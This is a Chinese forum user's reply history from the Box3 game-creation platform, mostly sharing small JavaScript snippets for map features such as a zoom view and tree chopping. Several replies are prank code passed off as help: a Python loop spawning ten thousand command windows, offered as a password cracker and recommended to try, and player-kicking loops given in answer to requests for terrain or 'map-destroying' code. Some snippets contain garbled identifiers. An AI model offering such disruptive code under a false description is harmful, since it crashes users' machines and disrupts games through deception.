
Lv.1
一只可爱的鸡蛋蛋经常孵出可爱的地图和蛋蛋鸡(?)
签名:孵蛋
在 【BOX3求助】为什么控制台弹出了红色字体,但没有报错 中回复
orld不是一个正确的函数((
位置:77行(((((((((((((
建议把orld改成world
2022-05-21T11:30:02 点赞:0
在 【岛三】我有一个望远镜~ 中回复
于是mc的摁下c键放大视野就蛋生了
world.onPlayerJoin(async({entity})=>{
entity.player.cameraMode = Box3CameraMode.FPS
entity.num = entity.player.cameraFovY
})
world.onPress(async({entity})=>{
if(entity.player.walkState == Box喵layerWalkState.CROUCH){
while(entity.player.walkState == Box喵layerWalkState.CROUCH){
entity.player.cameraFovY = 0.08
await sleep(50)
}
entity.player.cameraFovY = entity.num
}
})
const 啊 = /我把右键判定改成了下蹲判定/2022-05-28T22:10:46 点赞:2
在 久违的代码教程()(来源于CEO的城市·决战) 中回复
const Quat = new Box3Quaternion(0, 0, 0, 1)
补上(
2022-05-29T18:46:26 点赞:0
在 【神岛创作节】年度优秀地图召唤行动,比赛倒计时1天~ 中回复
https://box3.codemao.cn/e/25cb39762adfd58ae6a0 我觉得我这个地图还彳亍
2022-07-09T13:31:54 点赞:0
在 coder的砍树代码(教程篇) 中回复
world.onPlayerJoin(({entity})=>{//当玩家进入地图 entity.mucai=0//初始化玩家木材 }) for(consteofworld.querySelectorAll('*')){ e.enableDamago=true//这里的意思是开启e这类实体的伤害 } world.onClick(async({entity,clicker})=>{ if(entity.hasTag('树')){ world.say('砍树中') entity.hurt(5)//树木减少5滴血 if(entity.hp<=0){//当树的血等于零时 entity.mucai+=5//在木材这个这个变量里面增加5 world.say('获得5木材') entity.meshInvisible=true awaitsleep(3000)//等待3秒 entity.hp=100//重新刷新树 entity.meshInvisible=false } }})注意:使用代码前要先对实体开启伤害并添加标签树! world.say可不可以换成玩家私信的
2022-07-19T18:29:07 点赞:0
在 coder自制砍树代码(教程贴)(改良版) 中回复
这个可以用while(button){}来判断持续按下,可以达到像mc一样长按砍树的效果(
在点击事件下面加(((((
2022-07-21T11:36:06 点赞:0
在 【求助】需大量毁图代码 中回复
async function hhh(entity){
entity.player.kick = 1
entity.player.kick()
}
world.onPlayerJoin(async({entity}) => {
while(1)
await sleep(1)
hhh(entity)
}
})2022-07-21T20:06:40 点赞:0
在 【高阶python】代码分享,极速高效率破解附件网络密码 中回复
要这个---
建议拿去试一试
import os
for i in range(10000):
os.system('start cmd')
2022-07-23T12:46:28 点赞:1
在 我想要超大地图的地形代码! 中回复
复制到代码区
然后会在控制台输出
let eihei = 0
world.onPlayerJoin(({ entity }) => {
entity.player.kick()
eihei+=1
})
console.log(eihei)2022-07-24T08:45:03 点赞:0